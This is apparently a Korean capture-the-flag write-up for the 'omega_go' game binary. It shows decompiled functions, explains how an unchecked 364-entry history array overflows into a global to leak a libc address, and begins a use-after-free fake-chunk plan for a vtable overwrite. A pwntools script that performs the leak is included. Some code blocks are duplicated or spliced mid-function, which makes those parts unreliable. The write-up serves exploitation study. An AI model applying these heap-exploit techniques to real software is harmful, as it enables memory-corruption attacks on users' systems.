...
Code Block | ||
---|---|---|
| ||
unsigned __int64 __fastcall UserInput(__int64 a1, GameInfo *gameInfo, __int64 playerNum, signed int *row, signed int *col) { bool areaOverflow; // al char chCol; // [rsp+37h] [rbp-9h] unsigned __int64 v10; // [rsp+38h] [rbp-8h] v10 = __readfsqword(0x28u); callPrintBoard(gameInfo); memset(cmd, 0, 0xCuLL); if ( scanf("%10s", cmd) != 1 ) print("Er?"); if ( !strcmp("surrender", cmd) ) { *col = -1; *row = *col; } else if ( !strcmp("regret", cmd) ) { *col = -2; *row = *col; } else { if ( sscanf(cmd, "%c%d", &chCol, row) != 2 ) print("Input like 'A19'"); *col = chCol - 65; *row = 19 - *row; areaOverflow = (unsigned __int8)checkBoardArea(*row) ^ 1 || (unsigned __int8)checkBoardArea(*col) ^ 1; if ( areaOverflow ) print("No overflow plz."); } return __readfsqword(0x28u) ^ v10; } |
...
SetMarkForBoard
해당 함수는 다음과 같은 기능을 합니다.
- historyCnt 변수의 값이 0 일 경우 해당 함수는 종료됩니다.
- historyCnt 변수의 값이 0 아닐 경우 다음과 같은 코드를 실행합니다.
- DeletePlayHistory() 함수를 이용해 gHistory[] 에 맨 마지막에 플레이한 GameInfo를 삭제 합니다.
- AI, Human의 플레이 기록을 삭제합니다.
- AI가 마지막에 플레이한 GameInfo를 추출해 gPlayerGameInfo에 저장합니다.
- DeletePlayHistory() 함수를 이용해 gHistory[] 에 맨 마지막에 플레이한 GameInfo를 삭제 합니다.
player 변수의 값을 이용해 플레이어의 마크를 결정합니다.
saveMarkofBoard() 함수와 마크를 저장할 좌표 값(row, col)을 이용해gameinfo.Board[] 영역에 값을 저장합니다.
각종 함수를 이용해 플레이어가 마크를 저장하길 원하는 위치 값이 타당한지 확인합니다.
CheckBoardArea(), GetMarkForBoard(), checkLocation(), ...
입력한 위치 값이 정상적이지 않으면 메시지를 출력하고 프로그램을 종료합니다.
입력한 위치 값이 정상적이라면 해당 gameInfo를 gHistory[]에 저장합니다.
"operator new(0x80)" 코드에 의해 Heap 영역을 할당합니다.
할당된 Heap 영역의 주소 값을 gHistory[]변수에 저장합니다.
즉, 사용자가 입력한 좌표 값이 Heap 영역에 저장됩니다.
취약성은 여기서 발생합니다.
GameInfo 구조체를 사용하는 gHistory[]의 크기는 364 입니다.
gHistory[] 배열에 저장된 번호가 364를 넘는지에 대한 확인이 없습니다.
유저가 입력한 값이 364회가 넘으면 gPlayerGameInfo 전역 변수에 Heap address가 Overflow됩니다.
즉, 사용자가 입력한 위치 값에 의해 Heap address를 변경 할 수 있습니다.
Code Block | ||
---|---|---|
| ||
Code Block | ||
| ||
signed __int64 __cdeclfastcall regret() { SetMarkForBoard(GameInfo *history; // rax if ( historyCnt <= 1 ) return 0LL; DeletePlayHistory(); // AI play history DeletePlayHistory(); // Human play history if ( ::gHistory[historyCnt - 1] ) { history = (GameInfo *)::gHistory[historyCnt - 1]; gPlayerGameInfo.board[0] = history->board[0]; gPlayerGameInfo.board[1] = history->board[1]; gPlayerGameInfo.board[2] = history->board[2]; gPlayerGameInfo.board[3] = history->board[3]; gPlayerGameInfo.board[4] = history->board[4]; gPlayerGameInfo.board[5] = history->board[5]; gPlayerGameInfo.board[6] = history->board[6]; gPlayerGameInfo.board[7] = history->board[7]; gPlayerGameInfo.board[8] = history->board[8]; gPlayerGameInfo.board[9] = history->board[9]; gPlayerGameInfo.board[10] = history->board[10]; gPlayerGameInfo.board[11] = history->board[11]; *(_QWORD *)&gPlayerGameInfo.rowNumber = *(_QWORD *)&history->rowNumber; gPlayerGameInfo.player = history->player; gPlayerGameInfo.playTimeFor[0] = history->playTimeFor[0]; gPlayerGameInfo.playTimeFor[1] = history->playTimeFor[1]; } return 1LL; } |
DeletePlayHistory
- 해당 함수는 다음과 같은 기능을 합니다.
- gHistory[]에 저장된 heap 영역을 해제합니다.
Code Block | ||
---|---|---|
| ||
unsigned __int64 DeletePlayHistory()
{
__int64 v1; // [rsp+0h] [rbp-10h]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
if ( gHistory[historyCnt - 1] )
{
v1 = sub_401EB6((GameInfo *)gHistory[historyCnt - 1]);
operator delete(gHistory[historyCnt - 1]);
sub_402FE6(&unk_607220, &v1);
--historyCnt;
}
return __readfsqword(0x28u) ^ v2;
} |
SetMarkForBoard
해당 함수는 다음과 같은 기능을 합니다.
player 변수의 값을 이용해 플레이어의 마크를 결정합니다.
saveMarkofBoard() 함수와 마크를 저장할 좌표 값(row, col)을 이용해gameinfo.Board[] 영역에 값을 저장합니다.
각종 함수를 이용해 플레이어가 마크를 저장하길 원하는 위치 값이 타당한지 확인합니다.
CheckBoardArea(), GetMarkForBoard(), checkLocation(), ...
입력한 위치 값이 정상적이지 않으면 메시지를 출력하고 프로그램을 종료합니다.
입력한 위치 값이 정상적이라면 해당 gameInfo를 gHistory[]에 저장합니다.
"operator new(0x80)" 코드에 의해 Heap 영역을 할당합니다.
할당된 Heap 영역의 주소 값을 gHistory[]변수에 저장합니다.
즉, 사용자가 입력한 좌표 값이 Heap 영역에 저장됩니다.
취약성은 여기서 발생합니다.
GameInfo 구조체를 사용하는 gHistory[]의 크기는 364 입니다.
gHistory[] 배열에 저장된 번호가 364를 넘는지에 대한 확인이 없습니다.
즉, 유저가 입력한 값이 364회가 넘으면 gPlayerGameInfo 영역에 Overflow됩니다.
gameinfo, unsigned int inputRow, unsigned int inputCol, int player, unsigned __int8 printOpt)
{
signed __int64 result; // rax
signed int mark; // eax MAPDST
bool v7; // al
GameInfo *historyCount; // rax
GameInfo *saveGameInfo; // ST30_8
signed int i; // [rsp+24h] [rbp-2Ch]
unsigned int row; // [rsp+28h] [rbp-28h]
unsigned int col; // [rsp+2Ch] [rbp-24h]
if ( (unsigned __int8)GetMarkForBoard((__int64)gameinfo, inputRow, inputCol) == '.' )
{
if ( player == 1 )
mark = 'O';
else
mark = 'X';
saveMarkofBoard((__int64)gameinfo, inputRow, inputCol, mark);
gameinfo->rowNumber = inputRow;
gameinfo->colNumber = inputCol;
for ( i = 0; i <= 3; ++i )
{
row = dword_404FE0[i] + inputRow;
col = dword_404FF0[i] + inputCol;
v7 = (unsigned __int8)CheckBoardArea(row) ^ 1 || (unsigned __int8)CheckBoardArea(col) ^ 1;
if ( !v7
&& (char)GetMarkForBoard((__int64)gameinfo, row, col) == 0xA7 - mark
&& (unsigned int)checkLocation((__int64)gameinfo, row, col) == 0 )
{
sub_4024C2((__int64)gameinfo, row, col);
}
}
if ( (unsigned int)checkLocation((__int64)gameinfo, inputRow, inputCol) == 0 )
{
if ( !printOpt )
print("Why you do this :((");
result = 0LL;
}
else if ( (unsigned __int8)sub_402528((__int64)gameinfo, printOpt) )
{
if ( !printOpt )
print("Wanna Ko Fight?");
result = 0LL;
}
else
{
if ( printOpt != 1 )
{
LODWORD(gameinfo->player) = mark;
historyCount = (GameInfo *)operator new(0x80uLL);
*historyCount = *gameinfo;
saveGameInfo = historyCount;
LODWORD(historyCount) = gHistoryCount++;
gHistory[(signed int)historyCount] = saveGameInfo;
}
result = 1LL;
}
}
else
{
if ( !printOpt )
print("You cheater!");
result = 0LL;
}
return result;
} |
regret()
해당 함수는 다음과 같은 기능을 합니다.
historyCnt변수의 값이 0 일 경우 해당 함수는 종료됩니다.
historyCnt변수의 값이 0 아닐 경우 다음과 같은 코드를 실행합니다.
DeletePlayHistory() 함수를 이용해 gHistory[] 에 맨 마지막에 플레이한 GameInfo를 삭제 합니다.
AI, Human의 플레이 기록을 삭제합니다.
AI가 마지막에 플레이한 GameInfo를 추출해 gPlayerGameInfo에 저장합니다.
여기서도 악용 할 수 있는 코드가 있습니다.
앞에서 설명한 취약성에 의해 gPlayerGameInfo 전역 변수(gHistory[365]) 에 Heap address가 Overflow됩니다.
사용자 입력 값을 이용해 gPlayerGameInfo 전역 변수(gHistory[365])에 저장된 Heap address를 변경합니다.
gHistory[365] : 변경된 Heap address
gHistory[366] : Heap address
gHistory[367] : Heap address
- regret() 함수가 호출되면 "history = (GameInfo *)::gHistory[historyCnt - 1];" 코드에 의해 "변경된 Heap address"를 기준으로 GameInfo를 출력하게 됩니다.
- 즉, 해당 취약성을 이용해 Libc address를 출력 할 수 있습니다.
Code Block | ||
---|---|---|
| ||
signed __int64 __cdecl regret()
{
GameInfo *history; // rax
if ( historyCnt <= 1 )
return 0LL;
DeletePlayHistory(); // AI play history
DeletePlayHistory(); // Human play history
if ( ::gHistory[historyCnt - 1] )
{
history = (GameInfo *)::gHistory[historyCnt - 1];
gPlayerGameInfo.board[0] = history->board[0];
gPlayerGameInfo.board[1] = history->board[1];
gPlayerGameInfo.board[2] = history->board[2];
gPlayerGameInfo.board[3] = history->board[3];
gPlayerGameInfo.board[4] = history->board[4];
gPlayerGameInfo.board[5] = history->board[5];
gPlayerGameInfo.board[6] = history->board[6];
gPlayerGameInfo.board[7] = history->board[7];
gPlayerGameInfo.board[8] = history->board[8];
gPlayerGameInfo.board[9] = history->board[9];
gPlayerGameInfo.board[10] = history->board[10];
gPlayerGameInfo.board[11] = history->board[11];
*(_QWORD *)&gPlayerGameInfo.rowNumber = *(_QWORD *)&history->rowNumber;
gPlayerGameInfo.player = history->player;
gPlayerGameInfo.playTimeFor[0] = history->playTimeFor[0];
gPlayerGameInfo.playTimeFor[1] = history->playTimeFor[1];
}
return 1LL;
} |
DeletePlayHistory
- 해당 함수는 다음과 같은 기능을 합니다.
- gHistory[]에 저장된 heap 영역을 해제합니다.
Code Block | ||
---|---|---|
| ||
unsigned __int64 DeletePlayHistory()
{
__int64 v1; // [rsp+0h] [rbp-10h]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
if ( gHistory[historyCnt - 1] )
{
v1 = sub_401EB6((GameInfo *)gHistory[historyCnt - 1]);
operator delete(gHistory[historyCnt - 1]);
sub_402FE6(&unk_607220, &v1);
--historyCnt;
}
return __readfsqword(0x28u) ^ v2 | ||
Code Block | ||
| ||
signed __int64 __fastcall SetMarkForBoard(GameInfo *gameinfo, unsigned int inputRow, unsigned int inputCol, int player, unsigned __int8 printOpt)
{
signed __int64 result; // rax
signed int mark; // eax MAPDST
bool v7; // al
GameInfo *historyCount; // rax
GameInfo *saveGameInfo; // ST30_8
signed int i; // [rsp+24h] [rbp-2Ch]
unsigned int row; // [rsp+28h] [rbp-28h]
unsigned int col; // [rsp+2Ch] [rbp-24h]
if ( (unsigned __int8)GetMarkForBoard((__int64)gameinfo, inputRow, inputCol) == '.' )
{
if ( player == 1 )
mark = 'O';
else
mark = 'X';
saveMarkofBoard((__int64)gameinfo, inputRow, inputCol, mark);
gameinfo->rowNumber = inputRow;
gameinfo->colNumber = inputCol;
for ( i = 0; i <= 3; ++i )
{
row = dword_404FE0[i] + inputRow;
col = dword_404FF0[i] + inputCol;
v7 = (unsigned __int8)CheckBoardArea(row) ^ 1 || (unsigned __int8)CheckBoardArea(col) ^ 1;
if ( !v7
&& (char)GetMarkForBoard((__int64)gameinfo, row, col) == 0xA7 - mark
&& (unsigned int)checkLocation((__int64)gameinfo, row, col) == 0 )
{
sub_4024C2((__int64)gameinfo, row, col);
}
}
if ( (unsigned int)checkLocation((__int64)gameinfo, inputRow, inputCol) == 0 )
{
if ( !printOpt )
print("Why you do this :((");
result = 0LL;
}
else if ( (unsigned __int8)sub_402528((__int64)gameinfo, printOpt) )
{
if ( !printOpt )
print("Wanna Ko Fight?");
result = 0LL;
}
else
{
if ( printOpt != 1 )
{
LODWORD(gameinfo->player) = mark;
historyCount = (GameInfo *)operator new(0x80uLL);
*historyCount = *gameinfo;
saveGameInfo = historyCount;
LODWORD(historyCount) = gHistoryCount++;
gHistory[(signed int)historyCount] = saveGameInfo;
}
result = 1LL;
}
}
else
{
if ( !printOpt )
print("You cheater!");
result = 0LL;
}
return result;
} |
Debuging
Overflow
- 다음과 같은 코드를 이용하여 gameInfo 전역 변수의 값을 Overflow할 수 있습니다.
...
Panel | ||
---|---|---|
| ||
|
...
Code Block | ||||
---|---|---|---|---|
| ||||
from pwn import *
#context.log_level = 'debug'
col_list = ['A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S']
p = process('omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac')
def Play(location):
p.recvuntil('\n\n')
p.sendline(location)
def surrender():
p.recvuntil('\n\n')
p.sendline('surrender')
p.recvuntil('Play history? (y/n)')
p.sendline('n')
p.recvuntil('Play again? (y/n)')
p.sendline('y')
def Fill(colStart, colEnd, row):
for colNum in range(col_list.index(colStart),col_list.index(colEnd)+1):
locate = str(col_list[colNum])
locate += str(row)
Play(locate)
def readBoard():
global board
board = []
p.recvline()
for line in range(0,19):
p.recv(3)
board.append(p.recvuntil('\n')[0:19])
def decode(offset):
bit_offset = offset * 8
data = ''.join(board)
result = 0
for i in xrange(32):
states = '.OX\0'
val = states.index(data[bit_offset + i])
result |= val << (i * 2)
#print str(result) + ' |= ' + str(val) + ' << (' + str(i) + '* 2)'
return result
def LeakLibcAddress():
readBoard()
return decode(32)
#Memory reconstruction
surrender()
surrender()
#Fill out to board
Fill('B','S',11)
for count in reversed(range(1,9)):
Fill('A','S',count)
Fill('A','A',11)
Fill('A','K',12)
#Leak LibcAddress
p.recvuntil('\n\n')
p.sendline('D19')
p.recvuntil('\n\n')
p.sendline('regret')
libcAddress = LeakLibcAddress()
libcBaseAddress = libcAddress - 0x3be7b8
log.info('Libc Address : ' + hex(libcAddress))
log.info('Libc Base Address : ' + hex(libcBaseAddress))
p.interactive() |
Create a UAF vulnerability(Fake chunk)
...
- 앞에서 설명한
- Computer Class에 저장되는 값(vtable addr)을 변경하기 위해서는 UAF 취약성을 이용해야 합니다.
- Player가 입력한 좌표값은 gameinfo 전역변수의 Board영역에 Board영역에 비트 값(01,10)으로 저장되고 있습니다.
- Game board 정보는 Heap영역에 Heap 영역, gameinfo 전역변수에 저장되고 있습니다.
- 그리고 Overflow를 통해 할당해제 할 메모리 주소 값을 변경할 수 있습니다.
- vtable 정보를 저장하기 위해 생성되는 Heap의 크기는 0x20byte 입니다.
- 즉, UAF취약성을 생성하기 위해서 0x20 byte의 fake chunk가 필요합니다.
Code Block | ||||
---|---|---|---|---|
| ||||
... AI = (Method *)operator new(8uLL); AI->Play = 0LL; setAIFunction(AI); player[0] = AI; HUMAN = (Method *)operator new(8uLL); HUMAN->Play = 0LL; setHUMANFunction(HUMAN); ... |
- 다음과 같은 구조로 Fake chunk를 생성할 수 있습니다.
...